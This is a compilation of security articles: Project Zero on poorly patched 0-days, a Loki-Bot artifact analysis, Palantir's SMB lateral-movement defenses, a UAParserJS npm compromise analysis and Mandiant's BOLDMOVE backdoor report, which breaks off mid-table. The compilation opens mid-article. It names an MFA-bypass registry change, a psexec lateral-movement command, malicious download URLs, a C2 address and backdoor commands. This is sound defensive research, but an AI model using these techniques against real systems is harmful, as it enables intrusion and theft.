Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. ### Freetype CVE-2020-15999 In October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, CVE-2020-15999. The vulnerability is a heap buffer overflow in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. ### Apple Safari CVE-2020-27930 This vulnerability is slightly different than the rest in that while it’s still a variant, it’s not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there’s no true “upstream.” However, when vulnerabilities were reported in Microsoft’s, Apple’s, or Adobe’s fork, there is a possibility (though no guarantee) that it was also in the others. ## Exploited 0-days not properly fixed… 😭 Three vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor. | Product | Vulnerability that was exploited in-the-wild | 2nd patch | |-------------------------------------------|---------------------------------------------|-----------------------------------------| | Internet Explorer | CVE-2020-0674 | CVE-2020-0968 | | Google Chrome | CVE-2019-13764* | CVE-2020-6383 | | Microsoft Windows | CVE-2020-0986 | CVE-2020-17008/CVE-2021-1648 | * when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild. ### Internet Explorer JScript CVE-2020-0674 In the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn’t comprehensively fix all of the variants. Microsoft patched CVE-2020-0968 in April 2020. ### Google Chrome CVE-2019-13674 CVE-2019-13674 in Chrome is an interesting case. When it was patched in November 2019, it was not known to be exploited in-the-wild. Instead, it was reported by security researchers Soyeon Park and Wen Xu. Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That’s when he realized that the patch didn’t fix all of the paths to trigger the vulnerability. ### Windows splwow64 CVE-2020-0986 This vulnerability has already been discussed in the previous section on variants. After Kaspersky reported that CVE-2020-0986 was actively exploited as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only disclosed as exploited in-the-wild in August 2020. Microsoft’s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn’t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. This issue was reported to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. ## Correct and comprehensive patches We’ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been seen previously. We also showed how three vulnerabilities that were exploited in-the-wild were either not fixed correctly or not fixed comprehensively when patched this year. When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that, we need correct and comprehensive fixes. Being able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. While the aim is that one day all vulnerabilities will be fixed correctly and comprehensively, each step we take in that direction will make it harder for attackers to exploit 0-days. In 2021, Project Zero will continue completing root cause and variant analyses for vulnerabilities reported as in-the-wild. We will also be looking over the patches for these exploited vulnerabilities with more scrutiny. We hope to also expand our work into variant analysis work on other vulnerabilities as well. We hope more researchers will join us in this work. In addition, we would really like to work more closely with vendors on patches and mitigations prior to the patch being released. We often have ideas of how issues can be addressed. Early collaboration and offering feedback during the patch design and implementation process is good for everyone. Researchers and vendors alike can save time, resources, and energy by working together, rather than patch diffing a binary after release and realizing the vulnerability was not completely fixed.
# Loki-Bot: Come out, come out, wherever you are! ## Intro I’m going to make my first post an easy one. I’m currently in the middle of writing up my GREM Gold paper, which focuses on the reverse engineering of a Loki-Bot v1.8 sample. This post is going to focus on how Loki-Bot creates its mutex and the folders, files, and registry keys that are created as a result. Per PhishMe: Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from web browsers, and a variety of cryptocurrency wallets. ## What is a Mutex? Understanding what a Mutex is can be a bit difficult for those with little-to-no programming background. I found it best described on the SANS DFIR Blog: “Programs use mutex (“mutual exclusion”) objects as a locking mechanism to serialize access to a resource on the system.” Furthermore, malware might use a mutex to avoid reinfecting the host. For instance, the specimen might attempt to open a handle to a mutex with a specific name. The specimen might exit if the mutex exists, because the host is already infected. ## Creating the Mutex So, based on the mutex description, Loki-Bot uses a mutex to ensure that multiple versions of Loki-Bot can’t be running at the same time. In order for this to happen, both versions of Loki-Bot need to have the same logic for naming the mutex. What we are going to talk about next is said logic. ## Obtaining the Machine GUID First and foremost, know that Loki-Bot employs function hashing to thwart analysis. This is what you are seeing from 0x404A63 to 0x404A6C. Two important arguments passed to the function labeled getDLLFunctionFromIDXAndHash are Arg1 (DLL Index) and Arg2 (Function Hash). In this instance, these values are set to 9 and ‘F4B4ACDC’. Without diving too deep into this, know that the DLL Index of 9 equates to ADVAPI32 and the hash ‘F4B4ACDC’ decodes to RegOpenKeyEx. At 0x404A81, we see the decoded function ADVAPI32.RegOpenKeyEx being called. This will open the registry path: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\” but it doesn’t actually read the value contained within the key it needs. For this to happen, ADVAPI32’s RegQueryValueEx function needs to be called. After successful execution, the value stored in the memory address referenced in the pData argument (0x292388) now contains the value that was in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid registry key. We can validate this by simply loading up RegEdit on the Windows host that is about to be compromised and navigating to the referenced registry key. The Machine GUID is supposed to be a value that is unique for each system. This means that your Machine GUID will be different from the Machine GUID depicted here; thus, your mutex will be different from mine. ## MD5 Hash Machine GUID Once the Machine GUID is obtained from the registry, Loki-Bot obtains the MD5 hash of the Machine GUID by making calls to ADVAPI’s CryptAcquireContext, CryptCreateHash, CryptHashData, and CryptGetHashParam. After CryptGetHashParam executes, the MD5 hash of the Machine GUID is returned. The MD5 hash of our Machine GUID appears to be “9BD0BA527DFA20AB1F4A05B8D0D4E04B“. There are a number of different ways that we could validate this result but I find that it’s easiest using the Linux command line. ## Trim Hash & Create Mutex Finally, Loki-Bot trims the MD5 hash of the Machine GUID to 24 characters: “9BD0BA527DFA20AB1F4A05B8“. It then passes this trimmed value to Kernel32’s CreateMutexW function as the lpName attribute. If the function succeeds, it means that no other version of Loki-Bot is running on the system at that time and execution continues on. If it fails, it means another version of Loki-Bot is running, so Loki-Bot quietly exits. ## Identify Folder/Files Now that we know the mutex, we can identify the folders and files that are related to Loki-Bot. As part of setting up persistence, Loki-Bot will create a hidden folder within your %APPDATA% path whose name is set by the 8th through 13th characters of the mutex. Once the hidden folder “%APPDATA%\27DFA2\” has been created, Loki-Bot will store several different types of files within it; all with the same filename but with different extensions. The filename used for the different files is also extracted from the mutex. With the filename known, we can then identify the following files: - `%APPDATA%\27DFA2\20AB1F.exe` – A copy of the malware that will execute every time the user account is logged into. - `%APPDATA%\27DFA2\20AB1F.hdb` – A database of hashes for data that has already been exfiltrated to the C2 server. - `%APPDATA%\27DFA2\20AB1F.lck` – A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts. - `%APPDATA%\27DFA2\20AB1F.kdb` – A database of keylogger data that has yet to be sent to the C2 server. ## Identify Registry Key The path for the specific persistence registry key used is encrypted within the binary using Triple DES encryption, which is why static analysis won’t yield much. Once decrypted, my sample returned the following registry path used for persistence: “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\” The registry key within this path is then derived from the Mutex exactly how our %APPDATA% subfolder was: “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\27DFA2“. The value assigned to this key is the executable that is stored within the %APPDATA% subfolder: “%APPDATA%\27DFA2\20AB1F.exe”. ## Conclusion That pretty much covers all artifacts related to Loki-Bot that could be present on a compromised system. First step is to identify your system’s Machine GUID. Once you do that, MD5 hash and then trim that value. The result will help you identify all the different folders, files, and registry keys associated with the malware.
# Restricting SMB-based Lateral Movement in a Windows Environment When Palantir entered into a technical collaboration partnership with SpecterOps in 2018, one of our key initiatives was the advancement of defensive capabilities against the latest Windows security tradecraft. To that end, the Adversary Simulation team at SpecterOps performs regular red team engagements inside the various Palantir networks and leverages their latest tools and techniques to provide a continual feedback loop for defensive security improvement. Lateral movement via Windows Server Message Block (SMB) is consistently one of the most effective techniques used by adversaries. In our engagements with the SpecterOps team, this mechanism is consistently targeted for abuse. Even in networks where significant efforts have been made to eliminate unnecessary SMB exposure, there are usually a small number of servers with a business-critical need to serve files to legitimate clients. In most organizations, the list will include Domain Controllers (the SYSVOL share), File Servers, and PowerShell logging servers, at the very least. This blog post aims to consolidate the defensive information we’ve compiled in our efforts to restrict SMB-based lateral movement, after many iterations against the SpecterOps Adversary Simulation Team. ## Why is SMB-based Lateral Movement Effective? At a high level, Server Message Block (SMB) is a network communication protocol that can provide shared access to services on a network. SMB is well-known for file services and for printers, but it’s much more versatile than that. It can also provide an authenticated inter-process communication mechanism between nodes. For the purpose of this defensive blog post, we can oversimplify and say that when an adversary has both: - Network access to the SMB service (TCP port 139 or 445) and - Valid credentials there’s a high probability that they’ll be able to gain code execution on the remote host and expand their attack surface in the environment. ### Bypassing MFA The risk created by SMB is especially important in mature environments where multi-factor authentication is required for administrative access to servers. SMB can provide a convenient MFA bypass for adversaries, handing them a foothold that will allow for remote code execution without any additional authentication factor. Depending on the environment, SMB may also provide adversaries the ability to disable security controls (including MFA) and improve their position in the network. **Example:** In many environments which implement a 3rd party MFA provider, an attacker can remove the MFA restriction with their SMB-based shell. They achieve this by enabling ‘Restricted Admin Mode’. This seems counterintuitive, but works for many MFA clients because restricted admin mode changes the supported Windows logon types and takes the MFA provider out of the picture. The setting is controlled via a single registry key: “HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin” and setting it to 0 is all that is required in many cases. This single change gives the adversary the option of single-factor RDP access to machines that would have otherwise been protected with an MFA prompt. ## Summary of Controls We understand that readers will be operating in networks with various levels of operational maturity, and not all of the recommendations will be practical for every environment. Use this summary to skip forward to the sections/steps that are relevant to your situation. The controls that have been effective for Palantir are as follows: - Implementing a simple three-tiered administration model (Workstations, General Servers, Authentication Servers) - Denying logon for security principals in the wrong tier - Denying SMB communication between workstations - Denying SMB communication from workstations to servers - Prioritizing Operating System upgrades for ‘high risk’ servers - Deploying Windows Defender Code Integrity rules - Deploying Windows Defender Attack Surface Reduction rules We also believe it is worth calling out the options that we haven’t yet been able to derive value from: - Denying network logon for security principals likely to be used for adversary lateral movement - Denying ‘log on as a service’ for administrative accounts - Windows Token filtering policies - Improved Service Control Manager ACLs - WMI access restrictions - Advanced Windows Firewall configurations for all SMB traffic — IPSEC (null encryption) - Network-based tiering restrictions on a per service level - Windows Firewall built in Named Pipe rules ## Effective Mitigations ### 1. Implementing a Simple Tiered Administration Model As best as we can, we follow Microsoft guidance in our approach to setting up a tiering model for each of our environments. Microsoft has excellent documentation on the topic. We take a simple approach and divide our environments into three asset types: - **Tier 0** — Domain Controllers, ADFS servers and others that have direct ability to influence authentication. - **Tier 1** — All other servers - **Tier 2** — Workstations Then, for each of the tier types we restrict the security principals that can log on. **Example:** - Tier 0 — ‘username-t0’ + require MFA. - Tier 1 — ‘username-t1’ + require MFA. - Tier 2 — standard username and MFA depending on the service and scenario. We restrict all administrative ports to bastion hosts for each tier. Even if an adversary is in possession of stolen administrative credentials (tier 1 or tier 0), the administrative ports such as RDP and WinRM are not available from lower tier machines. Administrative ports are only open to traffic from bastion hosts, which are protected with a 3rd party MFA provider. This first foundational step provides the following significant improvements: - Attackers need to be on a bastion host to access administrative ports for servers. - Attackers need specific credentials to move between tiers and users do not use those credentials on workstations. ### 2. Denying Logon for Security Principals in the Wrong Tier Users are prevented from logging in to a workstation with a tier 1 (server administration) or 0 (domain administration) accounts. Without extra effort on the side of the adversary, processes can’t execute in the context of a tier 0 or 1 security principal on lower tier devices. We use the “Allow log on locally” Group policy for this, linked to the top Organizational Unit for each service tier. The policy denies logon to the two groups containing principals for each of the other two tiers. This simple policy prevents attackers from logging on to our workstations with server credentials. Interestingly, it also provides protection against remote code execution via SMB if an adversary was to execute: `runas /user:contoso\bob-t1 ‘psexec.exe \\tier1server.contoso.com cmd.exe’` The improvements: - Adversaries will meet resistance in leveraging stolen administrative credentials. - Credentials from higher tiers should not be in memory on a lower tier machine. ### 3. Denying All SMB Communication Between Workstations We leverage Windows firewall to deny all inbound SMB communication to workstations. We don’t provide exceptions to this policy. We use a simple Windows Firewall rule, distributed via Group Policy and applied to the workstations OU. The rule denies all inbound communication on ports 139 and 445. **Note:** We also recommend that you deny inbound WinRM and RDP to workstations and don’t allow the machines to use LLMNR, Netbios or mDNS outbound. The improvement: - Lateral movement with SMB between our workstations is unlikely. - Malware which spreads via SMB is also unlikely to move through our workstation fleet. ### 4. Denying Most SMB Communication from Workstations to Servers We’ve audited the requirements of each of our servers and deny SMB inbound to any that have no business need. This single step reduces the overall risk in a very significant way. SMB-based lateral movement is now highly unlikely for the majority of our servers, and the remaining machines are designated as ‘high risk’ and will require additional controls and monitoring. Servers that require SMB in most Windows environments will be limited to Domain Controllers, File Servers, logging servers and a small handful of environment specific devices. It’s difficult to provide accurate numbers, but in our experience a reduction in exposed servers is likely to be greater than 90%. The recommended implementation approach is similar to workstations. Link a “DENY SMB” policy at the Servers OU and use security group based filtering to prevent the small number of high risk servers from applying the policy. The improvement: - Significant reduction in surface area for SMB-based lateral movement. - Reduction in the number of servers that require a compensating control makes it easier to tailor a solution to the server type and function. ### 5. Prioritize Operating System Upgrades for ‘High Risk’ Servers SMB-based lateral generally starts by copying a payload to the remote target. The payload is then executed via one of a handful of techniques: Service Control Manager & WMI are common examples. The recommendation we’ve adopted is to adjust our corporate security policy to require that High Risk servers run the latest Windows Operating System. Windows Server 2019 Defender will provide a significant improvement without configuring any additional control. This is because Defender is especially effective when a payload touches the disk. The improvement: - Default payloads will be destroyed by the Defender service. - Alerting and Detection improvements when Defender eats a malicious payload. - Opportunity to leverage additional modern OS controls in later steps. ### 6. Windows Defender Code Integrity Rules Windows Defender Code Integrity policies provide modern application whitelisting that works especially well when the role of a server is static and well understood. We combine this recommendation with the advice to deny SMB outright to most servers. Code Integrity is the primary compensating control for the small number of servers that have a business need to expose SMB to clients: our ‘high risk servers’. Carefully implemented, code integrity policies provide an excellent compensating control for our servers that still require SMB to be exposed to clients. The improvement: - Attackers are unable to run arbitrary code on high risk servers. - Very strong control (but requires configuration time investment). ### 7. Attack Surface Reduction Rules If you’re operating in a blue team environment and haven’t come across Attack Surface Reduction rules, Microsoft has a treat for you. ASR rules are simple to deploy and incredibly effective, although not all the rules will be applicable for all environments. The current ASR rules are: - Block executable content from email client and webmail - Block all Office applications from creating child processes - Block Office applications from creating executable content - Block Office applications from injecting code into other processes - Block JavaScript or VBScript from launching downloaded executable content - Block execution of potentially obfuscated scripts - Block Win32 API calls from Office macros - Use advanced protection against ransomware - Block credential stealing from the Windows local security authority subsystem (lsass.exe) - Block untrusted and unsigned processes that run from USB - Block Office communication application from creating child processes - Block Adobe Reader from creating child processes - Block persistence through WMI event subscription The bolded one, “Block process creations originating from PSExec and WMI commands,” is especially interesting for some environments. This rule blocks processes created through PsExec and WMI from running. Both PsExec and WMI can remotely execute code, so there is a risk of malware abusing this functionality for command and control purposes, or to spread an infection throughout an organization’s network. The improvement: - OS-level protection against common SMB-based lateral movement. ## Combining the Recommendations Combining the recommendations above, we arrive at a baseline where: - Credentials are restricted by tier, and stolen credentials from one tier provide limited value to an attacker who is seeking to improve their position in the network (MFA and Bastions are required). - Very few servers in the environment allow network connectivity to the SMB service (port 139/445). - The remaining servers are categorized as ‘high risk’ and have strong and simple-to-manage protection via Defender. - ‘High risk’ servers leverage built-in lateral movement controls via attack surface reduction. - ‘High risk’ servers prevent arbitrary code execution via code integrity policies. ## Mitigations that Didn’t Pan Out for Us The following options were discussed and/or tested as potential improvements to our strategy. They either didn’t work, or had significant downside. ### 1. Deny Network Logon Type for Tiering Violations In mitigation, we recommended that teams configure “allow log on locally” in a way where tier restrictions are enforced by group policy. Unfortunately, this option is not appropriate here. If you applied this setting to your servers then legitimate server admins will not be able to log on. ### 2. Deny ‘Log on as a Service’ for Administrative Accounts We didn’t have success with this setting in our testing. Microsoft also advises against it: “We recommend that you not assign the Deny log on as a service user right to any accounts. This is the default configuration.” ### 3. Token Filtering Policies Token filtering policies are interesting, but we are specifically targeting SMB and already have controls that would restrict pass the hash using local administrative accounts. ### 4. Improved Service Control Manager ACL We started out with an assumption that the Service Control Manager approach to getting binaries to run on remote systems was very common in SMB-based lateral movement, but through iterations with the red team, we realized that more often than not the WMI (over SMB) approach was preferred. ### 5. Local WMI Access Restrictions We considered modification to the WMI permissions for each server to restrict process creation using the common adversary approaches. After spending a small amount of time here, we abandoned this line of research due to the level of complexity weighed against the incomplete coverage. ### 6. Advanced Windows Firewall Configurations for All SMB Traffic — IPSEC (Null Encryption) We decided not to pursue this route due to the complexity and potential risks involved. ### 7. Network-based Tiering Restrictions on a Per Service Level We found it difficult to accurately break the problem down in a way that scaled and responded well to change. ### 8. Windows Firewall Built-in Named Pipe Rules Unfortunately, there is no special sauce in this rule. It’s actually a port-based rule (445), with a fancy name describing why 445 might be needed. ## General SMB Advice While not directly related to lateral movement, we felt it important to mention two extra points that are relevant to running SMB services safely. ## Wrapping it Up We’ve spent a lot of time thinking about lateral movement. We work with the fundamental principle that administrative port access to servers is not allowed from our workstations at all, and that all administrative access should be via a bastion and require MFA. For the longest time, SMB has provided a frustrating lateral movement gap in this security baseline that makes things easier for our adversary simulation team. It’s a cat and mouse game, but we’re feeling confident that the changes in this post significantly raise the bar. We hope the lessons learned can be useful to others tasked with protecting their environments from adversarial lateral movement. **Author: Chad D.**
# Links to Previous Attacks in UAParserJS Compromise A very popular npm library called UAParser was compromised this week. The author of the library, Faisal Salman, said: “I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware.” The compromised package installs a Monero miner on Linux and Windows systems. Advisories are available from the package author, GitHub, and CISA. When we analyzed the malware, we found that clear links to earlier stages of the attack from an attacker named “wozheqirsplu,” described below. ## Malware Analysis The attacker compromised Faisal’s npm access and updated the npm package.json file to run a file called preinstall.js: Preinstall.js then determines the operating system: If it is running on Linux, it then runs preinstall.sh: This determines the location of the system, and if it is not in one of the following countries, continues to execute: Russia, Ukraine, Belarus, or Kazakhstan. It then downloads the file `http://159.148.186[.]228/download/jsextension` and executes it. The file jsextension is the cryptocurrency miner xmrig – set to use the minexmr mining pool with the Monero wallet: `49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH` If it is running Windows, it then runs preinstall.bat: Similarly to the Linux installation, this downloads a copy of xmrig (via curl or certutil) and runs it with the same parameters. The file sdd.dll is detected as a credential theft tool. ## Setting up the Attack The malicious file deployed on Windows machines is served from: `http://159.148.186[.]228/download/jsextension.exe` And has the SHA256 `7f986cd3c946f274cdec73f80b84855a77bc2a3c765d68897fbc42835629a5d5`. This file has been seen before. Back on Wednesday, October 20th, Sonatype wrote a blog titled “Newly Found npm Malware Mines Cryptocurrency on Windows, Linux, macOS Devices.” They saw the same file – but back then it was being served from a different server: `http://185.173.36[.]219/download/jsextension.exe` Sonatype spotted a malicious user named wozheqirsplu had first created an npm package called okhsa that started calc.exe (Opening the Windows Calculator is a typical first step in testing malicious execution): They then created a package named klown that impersonated the (later compromised) ua-parser-js library: The malicious code in this package is an earlier version of the code actually deployed live – it has a couple of small changes such as a different Monero wallet ID: When Sonatype published their blog on October 20th (two days before the real attack), they noted that – at that point – it wasn’t clear how the attackers intended on deploying their malicious package: In hindsight, it’s now clear that this was the user wozheqirsplu preparing for their attack. ## Recommendations Assume that any machine that has run compromised versions is compromised, and rotate any credentials or keys on the machine from a separate machine. When deploying software, check for compromised dependencies as part of any build process. ## Indicators of Compromise - 185.173.36[.]219 - 159.148.186[.]228 - citationsherbe[.]at – Note this is also referenced in `https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/` – we haven’t confirmed the nature of the link yet. - `http://185.173.36[.]219/download/` - `http://185.173.36[.]219/download/jsextension.exe` - `http://185.173.36[.]219/download/xmrig.exe` - `http://185.173.36[.]219/download/jsextention.exe` - `http://185.173.36[.]219/` - `http://185.173.36[.]219/download/jsextension` - `http://185.173.36[.]219:81/download/lin64` - `http://159.148.186[.]228/download/jsextension` - `http://159.148.186[.]228/download/jsextension.exe` - `https://159.148.186[.]228/sdd.dll` - `https://159.148.186[.]228/jsextension.exe` - `https://159.148.186[.]228/download/jsextension.exe` - `http://159.148.186[.]228/download/jsextension.exe` - `http://159.148.186[.]228/jsextension.exe` - `http://159.148.186[.]228/download/jsextention.exe` - `http://159.148.186[.]228/download/` - `https://citationsherbe[.]at/sdd.dll` - `https://citationsherbe[.]at/create.dll` - `http://citationsherbe[.]at:8080/sdd.dll` - `https://citationsherbe[.]at/dog.dll` - `https://citationsherbe[.]at/sdd.dl` - `http://citationsherbe[.]at/sdd.dll`
# Suspected Chinese Threat Actors Exploiting FortiOS Vulnerability (CVE-2022-42475) Mandiant is tracking a suspected China-nexus campaign believed to have exploited a recently announced vulnerability in Fortinet's FortiOS SSL-VPN, CVE-2022-42475, as a zero-day. Evidence suggests the exploitation was occurring as early as October 2022, and identified targets include a European government entity and a managed service provider located in Africa. Mandiant identified a new malware we are tracking as “BOLDMOVE” as part of our investigation. We have uncovered a Windows variant of BOLDMOVE and a Linux variant, which is specifically designed to run on FortiGate Firewalls. We believe that this is the latest in a series of Chinese cyber espionage operations that have targeted internet-facing devices, and we anticipate this tactic will continue to be the intrusion vector of choice for well-resourced Chinese groups. On December 12, 2022, Fortinet released a PSIRT Advisory and notified customers regarding CVE-2022-42475. Fortinet issued instructions on how to search for Indicators of Compromise and provided additional details including IoCs from subsequent research. ## China Continues to Focus on Network Devices This incident continues China’s pattern of exploiting internet-facing devices, specifically those used for managed security purposes (e.g., firewalls, IPS/IDS appliances, etc.). These devices are attractive targets for multiple reasons. First, they are accessible to the internet, and if the attacker has an exploit, they can gain access to a network without requiring any victim interaction. This allows the attacker to control the timing of the operation and can decrease the chances of detection. The exploits required to compromise these devices can be resource-intensive to develop, and thus they are most often used in operations against hardened and high-priority targets, often in the government and defense sectors. With BOLDMOVE, the attackers not only developed an exploit but malware that shows an in-depth understanding of systems, services, logging, and undocumented proprietary formats. Malware running on an internet-connected device can enable lateral movement further into a network and enable command and control (C2) by tunneling commands in and data out of a network. It is important to note that many of these types of devices do not offer a simple mechanism to view which processes are running on the device’s operating systems. These devices are typically intended to inspect network traffic, searching for anomalies as well as signs of malicious behavior, but are often not inherently protected themselves. - Managed devices may provide only a limited admin interface that allows configuration and viewing/collection of logs. - Managed devices may not allow for additional security products, such as Endpoint Detection and Response (EDR), to be installed. - Access to core security features may be limited to the device manufacturer. ## BOLDMOVE Backdoor In December 2022, Mandiant identified the BOLDMOVE backdoor associated with the exploitation of CVE-2022-42475 FortiOS vulnerability. BOLDMOVE is written in C and has both Windows and Linux variants, the latter of which is intended to run (at least in part) on Fortinet devices as it reads data from a file proprietary to Fortinet. Mandiant has not directly observed exploitation of the vulnerability; however, samples of the BOLDMOVE Linux variant have a hard-coded C2 IP address that were listed by Fortinet as being involved in the exploitation, suggesting CVE-2022-42475 was exploited to deliver BOLDMOVE. In addition to the Linux variant, Mandiant also revealed a Windows version. Windows versions of BOLDMOVE appear to have been compiled as early as 2021. However, Mandiant has not seen this malware in use in the wild, so it is uncertain how it was used. In-depth analysis of the malware is provided later in this post. ## Attribution We assess with low confidence that this operation has a nexus to the People’s Republic of China. China-nexus clusters have historically shown significant interest in targeting networking devices and manipulating the operating system or underlying software which supports these devices. In addition, the geographical and sector targeting is consistent with previous Chinese operations. - Limited technical indicators point to the development of the malware as having been compiled on a machine in the UTC+8 time zone, which includes Australia, China, Russia, Singapore, and other Eastern Asian countries, and on a machine configured to display Chinese characters. - A host survey buffer used by the Windows variant of BOLDMOVE in order to provide the C2 with information on the infected host starts with the string “gbk”. The comparable survey buffer of the Linux variant starts with “utf-8”, which indicates that this field designates character encoding. If we consider “gbk” in this context, then this is an extension of a Chinese character set. - The exploitation of zero-day vulnerabilities in networking devices, followed by the installation of custom implants, is consistent with previous Chinese exploitation of networking devices. Mandiant has previously reported on significant campaigns impacting networking devices, likely revealing a long-standing interest by China to embed cyber campaigns in the overarching telecommunications and networking architecture used by organizations worldwide. ## Outlook Mandiant has produced in-depth reporting on the growing number of managed, internet-facing, and connected devices targeted by Chinese threat actors. This latest campaign may be a continuation of a long-standing practice by China-nexus cyber espionage actors. This campaign and infection vector also should be strong reminders of the importance of keeping up with updates and patches of externally facing devices or those exposed to the internet. This campaign, and other similar campaigns, offer defenders a unique look into the vulnerabilities and gaps many organizations constantly face when services and networks are managed remotely. Given their configuration, it is very hard to measure the scope and extent of malicious activity that results from exploiting internet-facing network devices, as we have little to no information that can indicate those devices are compromised. There is no mechanism to detect malicious processes running on such devices, nor telemetry to proactively hunt for malicious images deployed on them following an exploitation of a vulnerability. This makes network devices a blind spot for security practitioners and allows attackers to hide in them and maintain stealth for long periods, while also using them to gain a foothold in a targeted network. ## BOLDMOVE Linux Analysis BOLDMOVE is a fully featured backdoor written in C and compiled with GCC 11.2.1. When executed, it performs a system survey and is capable of receiving commands from a C2 server that in turn allow attackers to control the file system, spawn a remote shell, or relay traffic via the infected host. Based on indicators from the original Fortinet advisory, Mandiant was able to identify multiple Linux versions of BOLDMOVE. There are a core set of features across all observed instances of BOLDMOVE, Windows and Linux, and at least one Linux sample contained extended capabilities enabling it to alter specific behaviors and functionality of Fortinet devices, namely FortiGate Firewalls. ### Core Features Upon execution, BOLDMOVE attempts to form a session with a hard-coded C2 server. Once established, it performs a system survey to collect information that identifies the infected machine to the C2. Information collected is outlined in the following table. **Table 1: System Survey** | Index | Field Value | |-------|-------------| | 0 | Encoding used for the strings in the survey buffer: utf-8 | | 1 | Hard-coded string that seemingly identifies the sample or campaign, e.g., “Cora/c” | | 2 | OS version string. For Linux-based operating systems, this string has the format “Linux <linux_version> <utsname.release> <utsname.machine> [<utsname.version>]”, wherein the various fields are obtained from a call to the uname function. For non-Linux operating systems, this string has the format <utsname.sysname> <utsname.release> <utsname.machine> [<utsname.version>]. The substring <linux_version> is being constructed by reading data from one of the files /etc/system-release, /etc/os-release, /migadmin/ng/vpn/map/pkginfo.json, /etc/debian_version. | | 3 | Host name | | 4 | Comma-separated list of <ip>/<mask> entries that represent network interfaces on the host | | 5 | The effective user ID of the backdoor's process (result of geteuid()) | | 6 | The process ID of the backdoor's process | | 7 | String of the format cwd=<current_dir>\r\nexecutable=<current_image_path>\r\nevent=wv\r\nserver=139.180.128.142:443\r\n/proc/version=<proc_version_data> | Subsequently, the C2 may send commands for execution that allow attackers to control the infected device. Command codes across platforms and versions of BOLDMOVE may vary, but their core capabilities do not appear to change and include: **Table 2: Supported commands** | Major Command Code | Minor Command Code | Command | |--------------------|--------------------|---------| | 0x0 | 0x0 | Frees all resources and terminates the backdoor | | 0x11 | 0x21 | Lists information on all files in the system recursively, starting from the root directory. In addition to the file's path, the information provided for each file is based on output of the stat function and includes the following fields of the stat structure: st_mode, st_size, st_mtim.tv_sec, st_uid, st_gid. | | 0x11 | 0x0 | Lists information on files recursively, starting from a given directory | | 0x12 | 0x0 | Creates new directory via mkdir | | 0x13 | 0x0 | Removes a directory via rmdir | | 0x14 | 0x10 | Given an attacker-provided file path, removes an existing file (if such exists) and creates a new file instead | | 0x14 | 0x21 | Closes a file descriptor that was opened for writing | | 0x14 | 0x32 | Writes data to the created file | | 0x15 | 0x10 | Gets a file's size before reading from it | | 0x15 | 0x21 | Closes a file descriptor that was opened for reading | | 0x15 | 0x40 | Reads data from a formerly opened file | | 0x20 | 0x0 | Executes a shell command and sends back the output | | 0x20 | 0x33 | Executes a shell command without sending back an output | | 0x21 | 0x10, 0x21, 0x43, 0x44, 0x45 | Creates an interactive shell that leverages two pipes—one for processing shell input from the server and another for sending back shell outputs, thus supporting an asynchronous session between the C2 and the infected host. The various subcommands handle actions involved in forming and maintaining the shell session | | 0x22 | 0x10, 0x21, 0x32, 0x33 | Creates an interactive shell that leverages a single pipe for both passing server-sourced inputs to the shell and retrieving command outputs from it. The formed shell works in a synchronous mode, wherein the pipe can be either probed to retrieve shell output or written with input data in each access to it. The various subcommands handle actions involved in forming and maintaining the shell session | | 0x30 | 0x15, 0x16, 0x17, 0x18 | Initiates a network traffic relay session. The C2 sends a target address as an argument and further packets passed through sub-commands of this command are used to pass data back and forth to and from the target server | | 0x53 | 0x10 | Deletes the backdoor's image and creates a new one with the same name as preparation for writing an updated backdoor image | | 0x53 | 0x21 | Closes the file descriptor opened for writing a backdoor image update | | 0x53 | 0x32 | Writes data sent from the C2 server to the formerly opened file descriptor that corresponds to the updated backdoor image | | 0x54 | 0x0 | Spawns a new process of the backdoor with the argument 1, which would in turn attempt to execute an image with that name. The purpose of this action is unclear. | | 0x55 | 0x0 | Same as command 0x54 | | 0x56 | 0x0 | Serves as an echo command; receives a command packet from the server and replies back with a packet that has the same major command code and blank body. Possibly used to check the infected host's 